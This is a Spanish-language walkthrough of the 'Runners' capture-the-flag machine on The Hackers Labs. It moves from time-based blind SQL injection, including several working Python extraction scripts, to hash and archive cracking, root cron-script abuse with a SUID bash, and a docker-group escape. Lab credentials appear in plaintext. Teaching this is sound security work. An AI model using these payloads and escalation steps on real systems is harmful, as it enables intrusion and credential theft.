> For the complete documentation index, see [llms.txt](https://d4redevil.gitbook.io/d4redevil/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4redevil.gitbook.io/d4redevil/writeups/the-hackers-labs/linux/avanzado/runners.md).

# Runners

<figure><img src="/files/3JR8o83VjLKOBgmXRgTf" alt=""><figcaption></figcaption></figure>

¡Hola hacker! Bienvenido a una nueva resolución. En esta ocasión, voy a resolver una máquina que creé para nuestra comunidad de [The Hackers Labs](https://thehackerslabs.com/), la máquina [Runners](https://thehackerslabs.com/runers/). Esta máquina marca mi primer proyecto como creador de CTFs. ¡Espero que la disfrutes y te ofrezca un buen reto!

## Reconocimiento

Comenzamos como siempre lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

<figure><img src="/files/EWL2zMM6nbitFFg62rAK" alt=""><figcaption></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).

## Enumeración inicial

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

```bash
nmap -sS -p- --open --min-rate 5000 -Pn -n -oG open_ports -vvv 192.168.1.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-28 13:24 -03
Initiating ARP Ping Scan at 13:24
Scanning 192.168.1.5 [1 port]
Completed ARP Ping Scan at 13:24, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:24
Scanning 192.168.1.5 [65535 ports]
Discovered open port 80/tcp on 192.168.1.5
Discovered open port 22/tcp on 192.168.1.5
Completed SYN Stealth Scan at 13:24, 10.57s elapsed (65535 total ports)
Nmap scan report for 192.168.1.5
Host is up, received arp-response (0.00035s latency).
Scanned at 2024-11-28 13:24:06 -03 for 10s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 63
MAC Address: 08:00:27:A8:A2:22 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.74 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos.

```bash
nmap -sCV -p 22,80 192.168.1.5 -oN services_scan -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-28 13:25 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Initiating ARP Ping Scan at 13:25
Scanning 192.168.1.5 [1 port]
Completed ARP Ping Scan at 13:25, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:25
Completed Parallel DNS resolution of 1 host. at 13:25, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:25
Scanning 192.168.1.5 [2 ports]
Discovered open port 22/tcp on 192.168.1.5
Discovered open port 80/tcp on 192.168.1.5
Completed SYN Stealth Scan at 13:25, 0.05s elapsed (2 total ports)
Initiating Service scan at 13:25
Scanning 2 services on 192.168.1.5
Completed Service scan at 13:25, 6.09s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.5.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.33s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.02s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Nmap scan report for 192.168.1.5
Host is up, received arp-response (0.0030s latency).
Scanned at 2024-11-28 13:25:04 -03 for 7s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a9:95:53:cd:44:32:5e:69:4a:83:e6:e5:2d:bf:eb:82 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKLNo2slroLK4B4+IzyO4ibWn82Pezb44/b5hxorFBVpTwHJNMW6q/2u9/WpcbpSUgLya+j0g0zo7devF9MM4iE=
|   256 7b:cd:42:3f:1f:7d:aa:f3:58:8f:7d:85:93:c5:fa:01 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA4tPo94klPK58wslxLdMnryD2EjPHu1cohW5uRSdAcu
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Runners Unlimited
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:A8:A2:22 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.87 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
```

## Explotación inicial

Ingresamos a la web que esta corriendo bajo el puerto 80 y nos encontramos con un blog que habla sobre lo que es el mundo del running y distintas experiencias vividas por los autores de los artículos.

<figure><img src="/files/FApAFwz9rTEzDRCB2MqV" alt=""><figcaption></figcaption></figure>

Navegando por la web, nos encontramos que al ingresar a un artículo existe un parámetro en la url, que al parecer corresponde al `id` del artículo.

<figure><img src="/files/E10HZjhZd3SLg0AVIu0h" alt=""><figcaption></figcaption></figure>

Probamos ingresar una comilla simple `'` pero vemos que no ocurre ningun error, simplemente no encuentra artículos.

<figure><img src="/files/SHAm3ogj79t2yqwXFcyQ" alt=""><figcaption></figcaption></figure>

Probemos si este parámetro es vulnerable a inyección sql, para lo cual, intentemos descubrir cuantas columnas esta devolviendo la consulta que esta por detrás.

Probamos con 2, no pasa nada.

<figure><img src="/files/v5HFdUmrJxIAGQAt73qr" alt=""><figcaption></figcaption></figure>

Probamos con 4 y vemos que no devuelve resultados.

<figure><img src="/files/xVlGGgcjmGoQHsTd4dkO" alt=""><figcaption></figcaption></figure>

Probamos con 3 y vemos que nos devuelve el artículo, por lo tanto sabemos que la consulta esta devolviendo un total de 3 columnas.

<figure><img src="/files/YyHlRDo87uZ8HCY9cSJg" alt=""><figcaption></figcaption></figure>

Utilicemos una clausula `UNION SELECT` para ver que nos devuelve. Necesitamos ingresar un valor de `id` que no exista, por ejemplo 100.

<figure><img src="/files/n2iRZwBILVLKbAXGPCmI" alt=""><figcaption></figcaption></figure>

Observamos los números reflejados en el html.

Probemos ahora con el siguiente payload.

```sql
UNION SELECT database(),2,3-- -
```

<figure><img src="/files/0TLKeaMJNx10j36csxiF" alt=""><figcaption></figcaption></figure>

Genial, logramos ver el nombre de la base de datos.

> NOTA:
>
> Si te preguntas porque aparce dos veces el número 1 o el nombre de la base de datos, esto se debe a que el título se utiliza como valor del atributo alt de la imágen y como no se encuentra una url para cargar una imágen se muestra el valor de dicho atributo.

> NOTA:
>
> La cláusula `UNION SELECT` en SQL se utiliza para combinar los resultados de dos o más consultas SELECT en un solo conjunto de resultados.
>
> En pocas palabras, combina multiples consultas SELECT en una tabla de resultados única. A su vez, es importante tener en cuenta que la consulta debe devolver el mismo número de columnas y con tipos de datos compatibles en las posiciones correspondientes.

Otra forma de probar la vulnerabilidad es con una inyección basada en tiempo usando el siguiente payload.

```bash
id=100 OR SLEEP(1)-- -
```

Cómo no existe un artículo con `id` 100, se ejecuta el `SLEEP(1)`, por lo que deberías notar que la consulta demora 1 segundo tal vez un poco más en responder confirmando la presencia de una inyección SQL.

<figure><img src="/files/T1PFMCGKGJXA5juI9hrA" alt=""><figcaption></figcaption></figure>

Ahora que sabemos que el parámetro `id` es vulnerable, podemos automatizar el proceso a ver que encontramos. En este caso, lo voy a realizar usando Python, pero también pudes hacerlo usando herramientas como sqlmap.

#### Bases de datos.

Utilizamos el siguiente script en Python para obtener las base de datos.

{% code title="get\_databases.py" overflow="wrap" %}

```python
#!/usr/bin/python3

import requests
import signal
import sys
import time
import string
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'

url = "http://192.168.1.5/post.php?id=100"
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""
       
    for limit in range(3):
        if limit > 0:
            extracted_info += ','

        last_position_char = 0
        for position in range(1, 250):
            for character in characters:
                char = ord(character)
    
                payload = f" OR (SELECT IF(ASCII(SUBSTRING(schema_name,{position},1))={char},SLEEP(1),0) FROM information_schema.schemata LIMIT {limit},1)-- -"

				url_sqli = url + payload

                p1.status(payload)
            
                res = requests.get(url_sqli)

                if res.elapsed.total_seconds() > 1:
                    extracted_info += character
                    last_position_char = position
                    p2.status(extracted_info)
                    break
                elif (position - last_position_char) > 1:
                    break


if __name__ == '__main__':
    makeSQLi()
```

{% endcode %}

Expliquemos un poco como funciona el script.

En primer lugar, nos encontramos con la función `def_handler`, la cual se encarga de manejar la señal SIGINT (usualmente enviado al presionar `CTRL + C` para permitir una salida limpia del programa, mostrando un mensaje antes de cerrar).

```python
def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
```

Luego, se define la variable `character` asignando un conjunto de caracteres que incluye **dígitos, letras en minúscula y mayúscula, además de los caracteres `_` y `.`**. Se usa para construir y validar cada carácter de los datos extraídos.

```python
characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'
```

Seguidamente, definimos la variable url, con la url donde se encuentra la vulnerabilidad.

```python
url = "http://192.168.1.5/post.php?id=100"
```

Posteriormente, definimos la función prinicipal `makeSQLi`, la cual es la función principal del script.

```python
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""
```

En primera instancia, se incializan dos indicadores de progreso: - `p1`: Muestra el estado general del ataque. - `p2`: Muestra los datos extraídos hasta el momento.

En seguida, se crea la variable `extracted_info` para almacenar el texto recuperado.

Luego de eso, comienza a definirse el proceso de extracción de información

```python
    for limit in range(3):
        if limit > 0:
            extracted_info += ','

```

Comenzamos definiendo un bucle for principal, para itera sobre un rango de bases de datos (controlado por `LIMIT` en el payload SQL). En caso de que no sea la primera iteración, añade una coma al resultado (`extracted_info`), para separar nombres de bases de datos.

Subsiguientemente, definimos un bucle for interno, encargado de la extracción carácter por carácter.

```python
        last_position_char = 0
        for position in range(1, 250):
            for character in characters:
                char = ord(character)
```

En este bucle, se intenta recuperar hasta 250 caracteres por entrada (nombre de base de datos, tablas o columna, como veremos más adelante). Dentro del bucle for más interno, se convierte cada carácter del conjunto `characters` a su valor ASCII con `ord()` para usarlo en el payload SQL.

```python
                payload = f" OR (SELECT IF(ASCII(SUBSTRING(schema_name,{position},1))={char},SLEEP(1),0) FROM information_schema.schemata LIMIT {limit},1)-- -"
```

Esta es la parte principal del código y donde se lleva a cabo la explotación de la inyección SQL.

* `(SELECT IF(...))`: Evalúa una condición:
  * Si la condición es verdadera (el carácter coincide), el servidor **se "duerme" por 1 segundo (SLEEP(1))**.
  * Si es falsa, responde normalmente (sin demora).
* `ASCII(SUBSTRING(schema_name, {position}, 1))`: Extrae el carácter en la posición actual (`position`) de los nombres de bases de datos (`schema_name`).
* `LIMIT {limit},1`: Selecciona el nombre de base de datos actual en el rango `LIMIT`.

En el siguiente paso, combina la URL base con el payload y envía la petición HTTP.

```python
	url_sqli = url + payload
	res = requests.get(url_sqli)
```

En seguida de ello, se realiza el análisis de la respuesta.

```python
                if res.elapsed.total_seconds() > 1:
                    extracted_info += character
                    last_position_char = position
                    p2.status(extracted_info)
                    break
                elif (position - last_position_char) > 1:
                    break
```

Si el servidor demora más de 1 segundo en responder, significa que el carácter actual es correcto, actualiza el progreso (`p2.status`) y avanza al siguiente carácter. Por el contrario, si no se encuentra un carácter válido en varias posiciones consecutivas, asume que el nombre actual ha terminado y pasa al siguiente.

Por ultimo, este bloque de código indica que cuando se ejecute el script, se llame a la función `makeSQLi`.

```python
if __name__ == '__main__':
    makeSQLi()
```

Ahora que tenemos claro que es lo que realiza el script, lo ejecutamos.

<figure><img src="/files/AmM7mxV6xrwYe7HfKJeb" alt=""><figcaption></figcaption></figure>

Vemos que existe la base de datos `blog`.

#### Tablas

Para obtener las tablas de la base de datos `blog`, un script similar con una pequeña modificación en el payload, donde utilizamos la tabla `information_schema.tables` para obtener las tablas de la base de datos `blog`.

{% code title="get\_tables.py" overflow="wrap" %}

```python
#!/usr/bin/python3

import requests
import signal
import sys
import time
import string
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'

url = "http://192.168.1.5/post.php?id=100"
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""
       
    for limit in range(3):
        if limit > 0:
            extracted_info += ','

        last_position_char = 0
        for position in range(1, 250):
            for character in characters:
                char = ord(character)
    
                payload = f" OR (SELECT IF(ASCII(SUBSTRING(table_name,{position},1))={char},SLEEP(1),0) FROM information_schema.tables WHERE table_schema='blog' LIMIT {limit},1)-- -"

		url_sqli = url + payload

                p1.status(payload)
            
                res = requests.get(url_sqli)

                if res.elapsed.total_seconds() > 1:
                    extracted_info += character
                    last_position_char = position
                    p2.status(extracted_info)
                    break
                elif (position - last_position_char) > 1:
                    break


if __name__ == '__main__':
    makeSQLi()
```

{% endcode %}

<figure><img src="/files/2TMPvYZKVF24zjOIRDdi" alt=""><figcaption></figcaption></figure>

#### Obtenemos las columnas de la tabla `users`

Al igual que los scripts anteriores, realizamos una pequeña modificación, en este caso para obtener las columnas de la tabla `users` de la base de datos `blog`, para lo cual utilizamos la tabla `information_schema.columns`.

{% code title="get\_columns.py" overflow="wrap" %}

```python
#!/usr/bin/python3

import requests
import signal
import sys
import time
import string
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'

url = "http://192.168.1.5/post.php?id=100"
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""
       
    for limit in range(3):
        if limit > 0:
            extracted_info += ','

        last_position_char = 0
        for position in range(1, 250):
            for character in characters:
                char = ord(character)
    
                payload = f" OR (SELECT IF(ASCII(SUBSTRING(column_name,{position},1))={char},SLEEP(1),0) FROM information_schema.columns WHERE table_schema='blog' AND table_name = 'users' LIMIT {limit},1)-- -"

		url_sqli = url + payload

                p1.status(payload)
            
                res = requests.get(url_sqli)

                if res.elapsed.total_seconds() > 1:
                    extracted_info += character
                    last_position_char = position
                    p2.status(extracted_info)
                    break
                elif (position - last_position_char) > 1:
                    break


if __name__ == '__main__':
    makeSQLi()
```

{% endcode %}

<figure><img src="/files/Rdx44ISIKGVtS8djCuUN" alt=""><figcaption></figcaption></figure>

#### Obtenemos los valores.

Ahora que conocemos la base datos, la tabla y las columnas, realizamos una simple consulta la cual nos devuelve los usuarios y contraseñas.

{% code title="get\_data.py" overflow="wrap" %}

```python
#!/usr/bin/python3

import requests
import signal
import sys
import time
import string
from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.:'

url = "http://192.168.1.5/post.php?id=100"
def makeSQLi():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Datos extraídos: ")
    extracted_info = ""
       
    for limit in range(3):
        if limit > 0:
            extracted_info += ','

        last_position_char = 0
        for position in range(1, 250):
            for character in characters:
                char = ord(character)
    
                payload = f" OR (SELECT IF(ASCII(SUBSTRING(CONCAT(username,0x3a,password),{position},1))={char},SLEEP(0.5),0) FROM blog.users LIMIT {limit}, 1)-- -"
                url_sqli = url + payload
                p1.status(payload)
            
                res = requests.get(url_sqli)

                if res.elapsed.total_seconds() > 0.5:
                    extracted_info += character
                    last_position_char = position
                    p2.status(extracted_info)
                    break
                elif (position - last_position_char) > 1:
                    break


if __name__ == '__main__':
    makeSQLi()
```

{% endcode %}

Ejecutamos el script y obtenemos los hashes de los usuarios.

```bash
python3 get_data.py
```

```bash
david:527aa9f431539da8e151d5434d1d5e611d973f601d8e970790882624554146b0
maria:7927e941a969cdf471354e79b7ae29ae25ca04d59f66d6c19f9c43a9367ec498
ian:febb36d29baf28da1a00cad0cc6937d49f13738ff9dd88276e7c85920d2bff40
```

Crackeamos los hashes con `john` y encontramos la contraseña de `david`.

<figure><img src="/files/g47rSM8ovykcwHq0CIvq" alt=""><figcaption></figcaption></figure>

```c
david:runner
```

Nos conectamos con `david` por ssh al puerto 2222.

<figure><img src="/files/2DrIh6W7EZULfdrytGY0" alt=""><figcaption></figcaption></figure>

### david -> maria

Si miramos dentro del directorio home de `david`, vemos que existe un directorio oculto `.hidden` y dentro de este un archivo zip.

<figure><img src="/files/f8Bw6YlwzvFuNTFvwVsM" alt=""><figcaption></figcaption></figure>

Descargamos el archivo a nuestra máquina atacante.

Utilizamos scp para descargar el archivo.

<figure><img src="/files/Pk9QthYzGVI2mGjGyIPz" alt=""><figcaption></figcaption></figure>

Al momento de descomprimir el archivo nos solicita una contraseña.

<figure><img src="/files/hXgpmIT2qyLhSwNq66Gz" alt=""><figcaption></figcaption></figure>

Utilizamos `zip2john` para generar el hash y luego crackearlo con `john`.

<figure><img src="/files/NyaYlym2Jk29UwqSM2gA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/JtyvtI5zfS1m71WqjEBp" alt=""><figcaption></figcaption></figure>

Genial, obtenemos la contraseña del archivo zip `rockandroll`.

Descomprimimos el archivo.

<figure><img src="/files/8kOoi2r1yu3cX5T9Ep11" alt=""><figcaption></figcaption></figure>

Obtenemos un archivo `credenciales.xlsx`

Abrimos el archivo, en este caso con LibreOffice.

<figure><img src="/files/clr7TRDlJcR2ad4AdWYN" alt=""><figcaption></figcaption></figure>

Dentro de este, encontramos unas credenciales, de `david` la misma que ya teniamos y de `maria`.

<figure><img src="/files/tcmhJ7m2epRMP95pJIxh" alt=""><figcaption></figcaption></figure>

Utilizamos las credenciales de `maria` para iniciar sesión en el sistema a través de ssh.

```
maria:4br53#j6p78mq#zbvc
```

### **Escalación de privilegios en el contenedor**

Logramos ingresar al sistema como el usuario `maria`, pero aun estamos dentro del contenedor.

<figure><img src="/files/lMQDZWzIUmXFT5fGp5Mw" alt=""><figcaption></figcaption></figure>

Si realizamos una enumeración básica del sistema, encontramos un script `/opt/backup.sh` en el cual tenemos capacidad de escritura.

<figure><img src="/files/FH11DcEfsiGz7ZP2mqNR" alt=""><figcaption></figcaption></figure>

Si miramos el script, vemos que se esta realizando un backup de la base de datos `blog`.

```bash
#!/bin/bash
BACKUP_DIR="/srv/backups"
DB_NAME="blog"
DB_USER="root"
ZIP_PASSWORD="metallica"

BACKUP_FILE="$BACKUP_DIR/blog_backup_$(date +'%Y%m%d%H%m').sql"
/usr/bin/mysqldump -u $DB_USER $DB_NAME > $BACKUP_FILE

zip -P "$ZIP_PASSWORD" "${BACKUP_FILE}.zip" "$BACKUP_FILE"

rm -f "$BACKUP_FILE"

echo "$(date): Backup comprimido de la base de datos '$DB_NAME' creado en ${BACKUP_FILE}.zip" >> /var/log/backup.log

function cleanup_backups {
    local total_backups=$(ls -1t "$BACKUP_DIR"/*.zip 2>/dev/null | wc -l)

    if (( total_backups > 10 )); then
        ls -1t "$BACKUP_DIR"/*.zip | tail -n +11 | while read -r old_backup; do
            rm -f "$old_backup"
            echo "$(date): Backup antiguo eliminado: $old_backup" >> /var/log/backup.log
        done
    fi
}

cleanup_backups
```

Podemos observar también utilizando `pspy` que se esta ejecutando una tarea `cron` la cual ejecuta este script y el usuario que lo esta ejecutando es root.

Subimos pspy.

<figure><img src="/files/8j9uJeYsRn6P5JY0Dhh2" alt=""><figcaption></figcaption></figure>

Asignamos permisos de ejecución al binario .

```bash
chmod +x pspy
```

Ejecutamos pspy.

<figure><img src="/files/EUrVsWwLDIUOHAkOVpj3" alt=""><figcaption></figcaption></figure>

Como somos el usuario `maria` y tenemos la capacidad de escritura en el script backup, podemos agregar lo siguiente al script.

```bash
chmod u+s /bin/bash
```

Asignado permisos suid al binario bash.

Esperamos que se ejecute el script y vemos que tenemos permisos suid en la bash.

De esta forma, logramos escalar privilegios en el contenedor.

<figure><img src="/files/4b3iqpvq5FZH97Yey99a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0pWZlqhpLLncSfMDES0o" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6zN8ZiZVbKOe6OCoFpgD" alt=""><figcaption></figcaption></figure>

Si miramos dentro del directorio home de root, encontramos un archivo `TODO_LIST.txt`.

<figure><img src="/files/mJHLpv4XQtW0vzVacRLg" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OrkGfM7rTh06873yhyRu" alt=""><figcaption></figcaption></figure>

Dentro de esta lista de tareas se menciona el nombre de un usuario `ian` y su posible contraseña `iambatman`.

## ian -> elliot

Probamos estas credenciales para conectarnos por ssh al host principal y efectivamente son validas.

```
ian:iambatman
```

<figure><img src="/files/N4Hj6i0A7KoMUImdyqbt" alt=""><figcaption></figcaption></figure>

Obtenemos el flag de user.txt

<figure><img src="/files/BTScKoexGjiT1U9J79d7" alt=""><figcaption></figcaption></figure>

Si miramos dentro del directorio home del usuario `elliot` encontramos un archivo `miscredenciales.psafe3`.

Lo descargamos a nuestra máquina utilizando scp.

<figure><img src="/files/2W1VG9Th0P2unKTg9p8a" alt=""><figcaption></figcaption></figure>

> ¿Qué es un archivo `.psafe3`?&#x20;
>
> Un archivo `.psafe3` es el formato utilizado por **Password Safe**, una herramienta de gestión de contraseñas. Este archivo almacena de forma segura contraseñas y datos sensibles, encriptados con algoritmos como **Twofish** para protegerlos contra accesos no autorizados. Solo se puede acceder al contenido mediante una clave maestra definida por el usuario.

> ¿Qué es Password Safe (pwsafe)?&#x20;
>
> **Password Safe** es un software de código abierto diseñado para almacenar y gestionar contraseñas de manera segura. Ofrece características como:
>
> * **Encriptación fuerte:** Usa algoritmos como Twofish.
> * **Portabilidad:** Los archivos `.psafe3` pueden trasladarse fácilmente entre dispositivos.
> * **Autenticación centralizada:** Se requiere una contraseña maestra para acceder a todas las credenciales.

Lo abrimos con [pwsafe](https://pwsafe.org/) pero nos solicita una contraseña maestra para poder acceder.

```bash
pwsafe miscredenciales.psafe3
```

<figure><img src="/files/aGMObJE9WvD8vmngsFcv" alt=""><figcaption></figcaption></figure>

Utilizamos `pwsafe2john` y lo crackeamos con `john`.

<figure><img src="/files/9U7l7tdQhN792t65zptM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Fg2JkOL7N5IDwKzsJkG1" alt=""><figcaption></figcaption></figure>

Genial! obtenemos la contraseña maestra.

Abrimos la boveda con `pwsafe`.

<figure><img src="/files/Cc5kV4FhHcnDqWHIggbB" alt=""><figcaption></figcaption></figure>

Vemos que existen varias entradas de credenciales pero hay una particular que nos llama la atención, la entrada Blog.

<figure><img src="/files/89HB71ikeGb8nwbYwsxO" alt=""><figcaption></figcaption></figure>

Si le damos editar entrada, podemos ver que se revelan una serie de credenciales.

<figure><img src="/files/O4TsvSbNiaXRTx3UPm8i" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ea65H6beWLvBKSTNZxjv" alt=""><figcaption></figcaption></figure>

Usamos estas credenciales para conectarnos por ssh al sistema.

```
elliot:HwbE80ZOtZQdkYB
```

Efectivamente, las credenciales son validas.

<figure><img src="/files/NTb2ivake0be8gnc3Trs" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Si realizamos una enumeración básica del sistema, podemos ver que el usuario elliot pertenece al grupo `docker` por lo que podemos abusar de este.

<figure><img src="/files/XUR1zBjFLnPGvsSi5pVD" alt=""><figcaption></figcaption></figure>

Cremos un contenedor usando una imagen de Alpine Linux y montamos la raíz en el contenedor bajo el directorio host y cambiamos el directorio raíz.

<figure><img src="/files/tzqT9Nfssv0ExugXAD6f" alt=""><figcaption></figcaption></figure>

Asignamos permisos suid a la bash.

<figure><img src="/files/635NbvTXbRlAnt2a9L4i" alt=""><figcaption></figcaption></figure>

Salimos del host y comprobamos que efectivamente se asignaron permisos suid al binario bash del host.

<figure><img src="/files/6h4veRdqn4tr6vImumgs" alt=""><figcaption></figcaption></figure>

De esta manera, logramos escalar nuestros privilegios.

<figure><img src="/files/8obFU4z9IXEt66JwreuE" alt=""><figcaption></figcaption></figure>

## Post Explotación

Leemos el flag de root.

<figure><img src="/files/FIDpzQdNMdy2m3OFDDCb" alt=""><figcaption></figcaption></figure>

De esta manera, concluimos la resolución de la máquina Runners.

Si te gustó este CTF, ¡cuentaselos a otros!.

Recuerda, los desafíos son solo una pieza del rompecabezas; sigue aprendiendo, explorando y compartiendo tu conocimiento.

¡Gracias por leer!

¡Happy Hacking!
